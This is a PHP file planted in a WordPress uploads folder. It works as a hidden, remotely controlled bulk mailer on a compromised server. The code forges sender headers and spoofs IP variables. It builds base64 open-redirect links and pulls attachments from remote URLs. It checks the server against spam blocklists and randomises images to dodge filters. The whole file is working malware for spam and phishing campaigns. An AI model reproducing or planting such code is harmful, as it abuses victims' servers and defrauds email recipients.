File: /var/www/vhost/disk-apps/tienda-qas.allup.com.co/wp-content/uploads/2015/cev.php
<?php
@error_reporting(0);
@set_time_limit(150);
@ignore_user_abort(true);
@ini_set('max_execution_time', 150);
@ini_set('mail.add_x_header', 0);
@ini_set('expose_php', 0);
if (isset($_GET['check'])) exit('#OK#');
@$_SERVER['PHP_SELF'] = '/';
if (isset($_SERVER['SERVER_ADDR']) && !empty($_SERVER['SERVER_ADDR']))
$ip = $_SERVER['SERVER_ADDR'];
else
$ip = rand(1, 255) . '.' . rand(0, 255) . '.' . rand(0, 255) . '.' . rand(0, 255);
if (isset($_SERVER['HTTP_X_FORWARDED_FOR']) && !empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
@$_SERVER['HTTP_X_FORWARDED_FOR'] = $ip;
}
if (isset($_SERVER['REMOTE_ADDR'])) {
while ($key = key($_SERVER)) {
if ($_SERVER[$key] == $_SERVER['REMOTE_ADDR']) {
@$_SERVER[$key] = $ip;
break;
}
next($_SERVER);
}
@$_SERVER['REMOTE_ADDR'] = $ip;
}
//редирект
if (isset($_REQUEST['r'])) {
$n_st = '';
$n_st1 = '';
$n_st2 = '?';
$d_st = base64_decode($_REQUEST['r']);
$d_st1 = explode('&', trim($d_st));
for ($i = 0; $i < sizeof($d_st1); $i++) {
$d_st2 = explode('=', trim($d_st1[$i]));
if ($d_st2[0] == 'l') {
$n_st = $d_st2[1];
} else {
$n_st1 .= $n_st2 . $d_st2[0] . '=' . $d_st2[1];
$n_st2 = '&';
}
}
$n_st .= $n_st1;
?> <meta http-equiv="refresh" content="0;url=<?php
echo $n_st;
?>"><?php
exit();
}
//отписаться от рассылки
if (isset($_REQUEST['u'])) {
$n_st = '';
$n_st1 = '';
$n_st2 = '?';
$d_st = base64_decode($_REQUEST['u']);
file_put_contents('logsubsc.log', date('[Y-m-d H:i:s] ') . $d_st . "\r\n", FILE_APPEND | LOCK_EX);
?>
<br><br><br><center>You have unsubscribed from the newsletter!!!</center><br><center>Email: <b><?php
echo $d_st;
?></b></center>
<?php
}
//вывести лог отписок от рассылки
if (isset($_REQUEST['lu'])) {
$fc = file_get_contents('logsubsc.log');
$fc = preg_replace("/\n/", "<br/>\n", $fc);
echo $fc;
}
//удалить лог отписок от рассылки
if (isset($_REQUEST['du'])) {
unlink('logsubsc.log');
}
if (isset($_REQUEST['ce']) === true) {
parse_str(base64_decode($_REQUEST['ce']), $_REQUEST);
}
$encoding = "UTF-8";
if (isset($_REQUEST['e'])) {
$encoding = $_REQUEST['e'];
}
if (isset($_REQUEST['ch']) === true) {
Check();
exit;
}
if (isset($_REQUEST['sn']) === true) {
Send();
exit;
}
function Send()
{
$domain = $_SERVER["HTTP_HOST"];
$domain = str_replace('www.', '', $domain);
$domain_ = explode('.', $domain);
$_REQUEST['m'] = str_replace('[shelldomain:]', ucfirst($domain_[0]), $_REQUEST['m']);
//echo $_REQUEST['m'];
$emails = urldecode($_REQUEST['em']);
$explemails = explode("\n", $emails);
global $randm_array; //память все randm замен, две переменные - шаблон и rand
global $attachement_array; //массив прикрепленных файлов
global $unsubscribe; //есть ли unsubscribe
$unsubscribe = 0;
for ($c = 0, $max = sizeof($explemails); $c < $max; $c++) {
$data = explode('|', trim($explemails[$c]));
$r_replyto = macrosRandom($_REQUEST['rpt'], $data);
$r_from_ = macrosRandom(dataHandler($_REQUEST['f']), $data);
$r_from = explode(':', $r_from_);
if (is_file($_FILES['file']['tmp_name'])) {
$r_subject = dataHandler(urldecode($_REQUEST['s']));
$r_message = urldecode($_REQUEST['m']);
} else {
$r_subject = dataHandler($_REQUEST['s']);
$r_message = $_REQUEST['m'];
}
$r_subject = str_replace('[from:]', $r_from[0], $r_subject);
$r_subject = str_replace('[email:]', $data[0], $r_subject);
$r_subject = macrosRandom($r_subject, $data);
$r_message = str_replace('[from:]', $r_from[0], $r_message);
$r_message = str_replace('[email:]', $data[0], $r_message);
$r_message = macrosRandom($r_message, $data);
if (!SMail($data[0], $r_from[1], $r_message, $r_subject, $r_replyto, $r_from[0])) {
print '*send:bad*';
exit;
}
}
print '*send:ok*';
exit;
}
function SMail($to, $from, $message, $subject, $replyto, $from_name)
{
global $unsubscribe;
global $attachement_array;
global $encoding;
if (is_file($_FILES['file']['tmp_name'])) {
$fileString = fileString($_FILES['file']['name']);
$filename = $_REQUEST['fn'];
}
$from_name = trim($from_name);
if (strlen(trim($from_name)) < 1) {
$from_name = randText();
}
if (strlen(trim($from)) < 1) {
$from = str_replace(' ', '', trim($from_name)) . '@' . $_SERVER['HTTP_HOST'];
}
if (strlen(trim($replyto)) < 1) {
$replyto = $from;
}
if ($_REQUEST['tp'] == '1') {
$type = 'text/html';
} else {
$type = 'text/plain';
}
$headers = GetHeaders($from_name, $from, $replyto);
$boundary = md5(uniqid());
$headers .= "Content-Type: multipart/alternative; boundary=\"" . $boundary . "\"\r\n";
if ($unsubscribe == 1) {
$headers .= 'List-Unsubscribe: <mailto:' . $from . ">" . "\r\n";
}
//plain version
$body = "--" . $boundary . "\r\n";
$body .= "Content-Type: text/plain; charset=UTF-8\r\n";
$body .= 'Content-Transfer-Encoding: base64' . "\r\n\r\n";
$message_plain = cut_tags($message);
$body .= trim(chunk_split(base64_encode($message_plain)));
//html version
if ($_REQUEST['tp'] == '1') {
$body .= "\r\n\r\n--" . $boundary . "\r\n";
$body .= "Content-Type: text/html; charset=UTF-8\r\n";
$body .= 'Content-Transfer-Encoding: base64' . "\r\n\r\n";
$body .= trim(chunk_split(base64_encode($message)));
}
//files attachement
if (is_file($_FILES['file']['tmp_name'])) {
$body .= "\r\n\r\n--" . $boundary . "\r\n";
$body .= 'Content-Type: ' . $_FILES['file']['type'] . '; name="' . $filename . '"' . "\r\n";
$body .= 'Content-Disposition: attachment; filename="' . $filename . '"' . "\r\n";
$body .= 'Content-Transfer-Encoding: base64' . "\r\n";
$body .= 'X-Attachment-Id: ' . rand(1000, 99999) . "\r\n\r\n";
$body .= trim(chunk_split(base64_encode($fileString)));
}
$files = array(); //массив прикрепленных файлов
for ($i = 0; $i < count($attachement_array); $i++) {
$attachement_array[$i][1] = trim($attachement_array[$i][1]);
file_put_contents($attachement_array[$i][1], DownloadSource($attachement_array[$i][0]));
}
for ($i = 0; $i < count($attachement_array); $i++) {
if (isset($attachement_array[$i][1])) {
$fp = fopen($attachement_array[$i][1], "r");
if ($fp) {
$files[$i] = fread($fp, filesize($attachement_array[$i][1]));
}
fclose($fp);
if (isset($files[$i])) {
$body .= "\r\n\r\n--" . $boundary . "\r\n";
$body .= 'Content-Type: ' . mime_content_type($attachement_array[$i][1]) . '; name="' . $attachement_array[$i][1] . '"' . "\r\n";
$body .= 'Content-Disposition: attachment; filename="' . $attachement_array[$i][1] . '"' . "\r\n";
$body .= 'Content-Transfer-Encoding: base64' . "\r\n";
$body .= 'X-Attachment-Id: ' . rand(1000, 99999) . "\r\n\r\n";
$body .= trim(chunk_split(base64_encode(file_get_contents($attachement_array[$i][1]))));
unlink($attachement_array[$i][1]);
}
}
}
$body .= "\r\n\r\n--" . $boundary . "--";
if($encoding == 'UTF-8')
$subject = "=?UTF-8?B?" . base64_encode($subject) . "?=";
else
$subject = "=?$encoding?B?" . base64_encode(iconv('UTF-8', $encoding, $subject)) . "?=";
if (mail($to, $subject, $body, $headers)) {
return true;
}
return false;
}
function dataHandler($data)
{
$ex = explode("\n", $data);
if (sizeof($ex) > 1) {
return trim($ex[rand(0, sizeof($ex) - 1)]);
}
return trim($data);
}
function macrosRandom($text, $data)
{
global $randm_array;
global $attachement_array;
global $unsubscribe;
preg_match_all('#\[num:(.+?)\]#is', $text, $result2);
$i = 0;
preg_match_all('#\[randM:(.+?)\]#is', $text, $result3);
$q = 0;
preg_match_all('#\[randstr:(.+?)\]#is', $text, $result4);
$w = 0;
preg_match_all('#\[var:(.+?)\]#is', $text, $result5);
$e = 0;
preg_match_all('#\{rand:(.+?)\}#is', $text, $result6);
$f = 0;
preg_match_all('#\[redirect:(.+?)\]#is', $text, $result7);
$h = 0;
preg_match_all('#\{randM:(.+?)\}#is', $text, $result8);
$u = 0;
//redirect
while ($h < sizeof($result7[1])) {
$link_site = '';
$link_par1 = explode('>>>', $result7[1][$h]);
$current_url_ = '';
//print_r($link_par1);
preg_match_all('#\{rand:(.+?)\}#is', $link_par1[0], $link_par2);
if (sizeof($link_par2[1]) > 0) //есть rand
{
$link_par3 = explode('|', $link_par2[1][0]);
$link_site = $link_par3[array_rand($link_par3)];
} else {
$link_site = $link_par1[0];
}
$link_site = "l=" . $link_site;
for ($i_link = 1; $i_link < sizeof($link_par1); $i_link++) {
$link_par1[$i_link] = str_replace("{", "", $link_par1[$i_link]);
$link_par1[$i_link] = str_replace("}", "", $link_par1[$i_link]);
if (strpos($link_par1[$i_link], 'email:') !== false) {
$link_site .= "&e=" . trim($data[0]);
} else if (strpos($link_par1[$i_link], 'var:') !== false) {
$link_par4 = explode(':', $link_par1[$i_link]);
$link_site .= "&v" . $link_par4[1] . "=" . trim($data[$link_par4[1]]);
} else if (strpos($link_par1[$i_link], 'link:') !== false) {
$link_par4 = explode(':', $link_par1[$i_link], 2);
$current_url_ = $link_par4[1];
} else {
$link_site .= "&" . $link_par1[$i_link];
}
//print "-".$link_par1[$i_link];
}
//print $link_site;
if (strlen($current_url_) > 0) {
$current_url = $current_url_;
} else {
$current_url = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
}
$current_url .= "?r=" . base64_encode($link_site);
$text = str_replace_once($result7[0][$h], $current_url, $text);
$h++;
}
//unsubscribe
$k = strpos($text, '[unsubscribe:]');
if ($k != FALSE) {
$current_url = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$current_url .= "?u=" . base64_encode($data[0]);
$unsubscribe = 1;
$text = str_replace('[unsubscribe:]', $current_url, $text);
}
//{rand
while ($f < sizeof($result6[1])) {
$rand = explode('|', $result6[1][$f]);
$rand = $rand[array_rand($rand)];
$text = str_replace_once($result6[0][$f], $rand, $text);
$f++;
}
while ($i < sizeof($result2[1])) {
$rand = explode('|', $result2[1][$i]);
if (!is_numeric($rand[0]) or !is_numeric($rand[1])) {
continue;
}
$rand = rand($rand[0], $rand[1]);
$text = str_replace_once($result2[0][$i], $rand, $text);
$i++;
}
//{randM
while ($u < sizeof($result8[1])) {
$rand = explode('|', $result8[1][$u]);
//$rand=$rand[array_rand($rand)];
//находим, использовался ли данный шаблон раньше (в from и/или subject)
$flag_r = false;
for ($i_link = 0; $i_link < sizeof($result8[1]); $i_link++) {
if ($result8[0][$u] == $randm_array[$i_link][0]) {
$rand = $randm_array[$i_link][1];
$flag_r = true;
break;
}
}
if ($flag_r == false) {
$rand = $rand[array_rand($rand)];
$randm_array[] = array(
$result3[0][$u],
$rand
);
}
$text = str_replace($result8[0][$u], $rand, $text);
$u++;
}
//[randM
while ($q < sizeof($result3[1])) {
$rand = explode('|', $result3[1][$q]);
//$rand=$rand[array_rand($rand)];
//находим, использовался ли данный шаблон раньше (в from и/или subject)
$flag_r = false;
for ($i_link = 0; $i_link < sizeof($result3[1]); $i_link++) {
if ($result3[0][$q] == $randm_array[$i_link][0]) {
$rand = $randm_array[$i_link][1];
$flag_r = true;
break;
}
}
if ($flag_r == false) {
$rand = $rand[array_rand($rand)];
$randm_array[] = array(
$result3[0][$q],
$rand
);
}
$text = str_replace($result3[0][$q], $rand, $text);
$q++;
}
// [var:
while ($w < sizeof($result4[1])) {
$rand = explode('|', $result4[1][$w]);
if (!is_numeric($rand[0]) or !is_numeric($rand[1])) {
continue;
}
$rand = randString($rand[0], $rand[1]);
$text = str_replace_once($result4[0][$w], $rand, $text);
$w++;
}
while ($e < sizeof($result5[1])) {
if (!is_numeric($result5[1][$e])) {
continue;
}
//echo $result5[0][$e]." - ".$data[$result5[1][$e]]."<br>";
$text = str_replace($result5[0][$e], $data[$result5[1][$e]], $text);
$e++;
}
preg_match_all('#\[rand:(.+?)\]#is', $text, $result);
$c = 0;
while ($c < sizeof($result[1])) {
$rand = explode('|', $result[1][$c]);
$rand = $rand[array_rand($rand)];
$text = str_replace_once($result[0][$c], $rand, $text);
$c++;
}
$p = strpos($text, 'spoof:');
if ($p != FALSE) {
$text = str_replace('[spoof:', ':', $text);
$text = str_replace(']', '', $text);
}
//base64
$text = str_replace('{var:}', '{var:1}', $text);
$text = str_replace('{email:}', trim($data[0]), $text);
preg_match_all('#\[base64:(.+?)\]#is', $text, $result12);
$h2 = 0;
while ($h2 < sizeof($result12[1])) {
$result12_text = $result12[1][$h2];
//{var1}
preg_match_all('#\{var:(.+?)\}#is', $result12_text, $result12_var);
$h2_var = 0;
while ($h2_var < sizeof($result12_var[1])) {
if (is_numeric($result12_var[1][$h2_var])) {
$result12_text = str_replace_once($result12_var[0][$h2_var], $data[$result12_var[1][$h2_var]], $result12_text);
}
$h2_var++;
}
$text = str_replace_once($result12[0][$h2], base64_encode($result12_text), $text);
$h2++;
}
//attachement
preg_match_all('#\[attachment:(.+?)\]#is', $text, $result9);
$d = 0;
while ($d < sizeof($result9[1])) {
$attachement_array0 = explode('>>>', $result9[1][$d]);
$attachement_array[] = $attachement_array0;
$text = str_replace_once($result9[0][$d], "", $text);
$d++;
}
//attachement2
preg_match_all('#\[attachmentM:(.+?)\]#is', $text, $result10);
$s = 0;
while ($s < sizeof($result10[1])) {
$attachement_array0 = explode('>>>', $result10[1][$s]);
preg_match_all('#\((.+?)\)#is', $attachement_array0[0], $result11);
$s1 = 0;
while ($s1 < sizeof($result11[1])) {
$attachement_array1 = explode(',', $result11[1][$s1]);
$attachement_array1_ = rand(intval($attachement_array1[0]), intval($attachement_array1[1]) - 1);
$attachement_array0[0] = str_replace_once($result11[1][$s1], $attachement_array1_, $attachement_array0[0]);
$attachement_array0[0] = str_replace('(', '', $attachement_array0[0]);
$attachement_array0[0] = str_replace(')', '', $attachement_array0[0]);
$s1++;
}
$attachement_array[] = $attachement_array0;
$text = str_replace_once($result10[0][$s], "", $text);
$s++;
}
//image64
//<img src="data:image/gif;base64,..картинка в кодировке base64...">
//https://stackoverflow.com/questions/3279523/base64-images-to-gmail/12786336#12786336
preg_match_all('#\[image64:(.+?)\]#is', $text, $result13);
$d2 = 0;
$image64_file = 'image64_file.png';
$image64_file_ = '';
while ($d2 < sizeof($result13[1])) {
file_put_contents($image64_file, file_get_contents($result13[1][$d2]));
$fp = fopen($image64_file, "r");
if ($fp) {
$image64_file_ = fread($fp, filesize($image64_file));
}
fclose($fp);
//echo "file: ".$image64_file_;
$result13_text = 'data:' . mime_content_type($image64_file) . ';base64,' . chunk_split(base64_encode($image64_file_)) . '';
$text = str_replace_once($result13[0][$d2], $result13_text, $text);
unlink($image64_file);
$d2++;
}
return $text;
}
function GetHeaders($fromname, $frommail, $replyto = null)
{
global $encoding;
if(is_null($replyto)) $replyto = $frommail;
if($encoding == 'UTF-8')
$headers = "From: =?UTF-8?B?" . base64_encode($fromname) . "?= <" . $frommail . ">" . "\r\n";
else
$headers = "From: =?$encoding?B?" . base64_encode(iconv('UTF-8', $encoding, $fromname)) . "?= <" . $frommail . ">" . "\r\n";
$headers .= "Reply-To: " . $replyto . "\r\n";
$headers .= "X-Mailer: " . strtoupper(randText()) . "\r\n";
$headers .= "MIME-Version: 1.0" . "\r\n";
return $headers;
}
function Check()
{
$crlf = "\r\n";
if (isset($_REQUEST['st']) === true) {
print '*valid:ok*' . $crlf;
}
if (isset($_REQUEST['m']) === true) {
if (function_exists('mail')) {
$ex = explode(':', $_REQUEST['m']);
$email = $ex[0];
if (CheckMail($email)) {
print '*mail:ok*' . $crlf;
} else {
print '*mail:bad*' . $crlf;
}
} else {
print '*mail:bad*' . $crlf;
}
}
if (isset($_REQUEST['rb']) === true) {
$rbl = CheckRBL();
if ($rbl == '') {
print '*rbl:ok*';
} else {
print '*rbl:' . $rbl . '*';
}
}
}
function randString($min, $max)
{
$str = 'qwertyuiopasdfghjklzxcvbnm';
$size = rand($min, $max);
$result = '';
for ($c = 0; $c < $size; $c++) {
$result .= $str[rand(0, strlen($str) - 1)];
}
return $result;
}
function CheckRBL()
{
$dnsbl_check = array(
'b.barracudacentral.org',
'xbl.spamhaus.org',
'sbl.spamhaus.org',
'zen.spamhaus.org',
'bl.spamcop.net'
);
$ip = gethostbyname($_SERVER['HTTP_HOST']);
$result = '';
if ($ip) {
$rip = implode('.', array_reverse(explode('.', $ip)));
foreach ($dnsbl_check as $val) {
if (checkdnsrr($rip . '.' . $val . '.', 'A'))
$result .= $val . ', ';
}
if (strlen($result) > 2) {
return substr($result, 0, -2);
} else {
return '';
}
} else {
return '*rbl:unknown*';
}
return '';
}
function CheckMail($to)
{
$headers = GetHeaders(randText(), randText() . '@' . $_SERVER['HTTP_HOST']);
//$header = 'From: ' . '=?utf-8?B?' . base64_encode(randText()) . '?=' . ' <' . $from_name . '@' . $_SERVER['HTTP_HOST'] . ">\r\n";
$headers .= 'Content-Type: text/html; charset=UTF-8' . "\r\n";
$headers .= 'Content-Transfer-Encoding: base64' . "\r\n";
$message = chunk_split(base64_encode(GetMessageText()));
$subject = $_SERVER['HTTP_HOST'];
if (mail($to, $subject, $message, $headers)) {
return true;
}
return false;
}
function cut_tags($message)
{
$message1 = trim(strip_tags($message, '<a>'));
$find_a = True;
$message1_ = array();
$find_a_i = array();
$find_a_i[0] = 0;
while ($find_a == True) {
$find_a_i[0] = strpos($message1, '<a', $find_a_i[0]);
if ($find_a_i[0] != False) {
$find_a_i[1] = strpos($message1, 'href', $find_a_i[0] + 1);
$find_a_i[1] = strpos($message1, '"', $find_a_i[1] + 1);
$find_a_i[2] = strpos($message1, '"', $find_a_i[1] + 1);
$find_a_i[3] = strpos($message1, '</', $find_a_i[2] + 1);
$find_a_i[3] = strpos($message1, '>', $find_a_i[3] + 1);
$find_a_i[4] = strlen($message1) - 1;
$message1_[0] = substr($message1, 0, $find_a_i[0]);
$message1_[1] = substr($message1, $find_a_i[1] + 1, $find_a_i[2] - $find_a_i[1] - 1);
$message1_[2] = substr($message1, $find_a_i[3] + 1, $find_a_i[4] - $find_a_i[3] + 1);
$message1 = $message1_[0] . $message1_[1] . $message1_[2];
} else {
$find_a = False;
}
}
return $message1;
}
function str_replace_once($search, $replace, $text)
{
$pos = strpos($text, $search);
return $pos !== false ? substr_replace($text, $replace, $pos, strlen($search)) : $text;
}
function GetFilename($name)
{
$format = end(explode('.', $name));
$array[] = 'SDC';
$array[] = 'P';
$array[] = 'DC';
$array[] = 'CAM';
$array[] = 'IMG-';
$img = array(
'png',
'jpg',
'gif',
'jpeg',
'bmp'
);
for ($c = 0, $max = sizeof($img); $c < $max; $c++) {
if (strtolower($format) == $img[$c]) {
$rand = rand(10, 999999);
return $array[rand(0, 4)] . $rand . '.' . $format;
}
}
return randText() . '.' . $format;
}
function DownloadSource($url) {
$resp = '';
if(is_callable('curl_init')) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$resp = curl_exec($ch);
$header = curl_getinfo( $ch );
curl_close($ch);
if ($header['http_code'] != 200) return false;
} else {
$url_parsed = parse_url($url);
$ssl = ($url_parsed['scheme'] == 'https');
$context = stream_context_create([
'ssl' => [
'verify_peer' => false,
'verify_peer_name' => false
]
]);
$resultHost = ($ssl ? 'ssl://' : '') . $url_parsed['host'];
if ($url_parsed['port']) {
$resultHost .= ":" . $url_parsed['port'];
}else{
$resultHost .= ($ssl) ? ":" . 443 : ":" . 80;
}
$socket = stream_socket_client($resultHost, $errno, $errMsg, 15, STREAM_CLIENT_CONNECT, $context);
if($socket) {
fputs($socket, "GET " . $url_parsed['path'] . " HTTP/1.0\r\n");
fputs($socket, "Host: " . $url_parsed['host'] . "\r\n");
fputs($socket, "Connection: close\r\n\r\n");
$r = 0;
while(!feof($socket)) {
$b = fgets($socket, 1024);
if($r) $resp .= $b;
if($b == "\r\n") $r = 1;
}
fclose($socket);
}
}
if(empty($resp)) return false;
return $resp;
}
function fileString($name)
{
$format = end(explode('.', $name));
if (strtolower($format) == 'jpeg' or strtolower($format) == 'jpg') {
if (CheckRandIMG()) {
return RandIMG($_FILES['file']['tmp_name']);
}
}
return file_get_contents($_FILES['file']['tmp_name']);
}
function randText()
{
$str = 'qwertyuiopasdfghjklzxcvbnm';
$size = rand(3, 8);
$result = '';
for ($c = 0; $c < $size; $c++) {
$result .= $str[rand(0, strlen($str) - 1)];
}
return $result;
}
function GetMessageText()
{
$str = 'qwertyuiopasdfghjklzxcvbnm';
$size = rand(9, 20);
$result = '';
for ($c = 0; $c < $size; $c++) {
$rand = rand(6, 10);
for ($i = 0; $i < $rand; $i++) {
$result .= $str[rand(0, strlen($str) - 1)];
}
$sign = array(
' ',
' ',
' ',
' ',
', ',
'? ',
'. ',
'. '
);
$result .= $sign[rand(0, 7)];
}
return trim($result);
}
function CheckRandIMG()
{
$array = array(
'getimagesize',
'imagecreatetruecolor',
'imagecreatefromjpeg',
'imagecopyresampled',
'imagefilter',
'ob_start',
'imagejpeg',
'ob_get_clean'
);
for ($c = 0, $max = sizeof($array); $c < $max; $c++) {
if (!function_exists($array[$c])) {
return false;
}
}
return true;
}
function RandIMG($file)
{
$rand['width'] = rand(1, 2);
$rand['height'] = rand(1, 2);
$rand['quality'] = rand(1, 2);
$rand['brightness'] = rand(1, 2);
$rand['contrast'] = rand(1, 2);
list($width, $height) = getimagesize($file);
if ($rand['width'] == 1) {
$sign = rand(1, 2);
if ($sign == 1) {
$new_width = $width + rand(1, 10);
} else {
$new_width = $width - rand(1, 10);
}
} else {
$new_width = $width;
}
if ($rand['height'] == 1) {
$sign = rand(1, 2);
if ($sign == 1) {
$new_height = $height + rand(1, 10);
} else {
$new_height = $height - rand(1, 10);
}
} else {
$new_height = $height;
}
if ($rand['quality'] == 1) {
$quality = 75;
} else {
$quality = rand(65, 105);
}
if ($rand['brightness'] == 1) {
$brightness = rand(0, 35);
} else {
$brightness = 0;
}
if ($rand['contrast'] == 1) {
$sign = rand(1, 2);
if ($sign == 1) {
$sign = '+';
} else {
$sign = '-';
}
$contrast = rand(1, 15);
} else {
$sign = '';
$contrast = 0;
}
$image_p = imagecreatetruecolor($new_width, $new_height);
$image = imagecreatefromjpeg($file);
imagecopyresampled($image_p, $image, 0, 0, 0, 0, $new_width, $new_height, $width, $height);
imagefilter($image_p, IMG_FILTER_CONTRAST, $sign . $contrast);
imagefilter($image_p, IMG_FILTER_BRIGHTNESS, $brightness);
ob_start();
imagejpeg($image_p, null, $quality);
$out = ob_get_clean();
imagedestroy($image_p);
return $out;
}
/*function RandGmail($email)
{
$login = explode('@', $email);
$result = '';
$login = strtolower(str_replace('.', '', $login[0]));
$size = strlen($login);
for ($c = 0, $max = $size; $c < $max; $c++) {
$up = rand(0, 1);
$dot = rand(0, 1);
$symbol = $login[$c];
if ($up == 1) {
$symbol = strtoupper($symbol);
}
if ($dot == 1) {
$symbol = $symbol . '.';
}
$result .= $symbol;
}
if (substr($result, -1) == '.') {
$result = substr($result, 0, -1);
}
return $result . '@gmail.com';
}*/
?>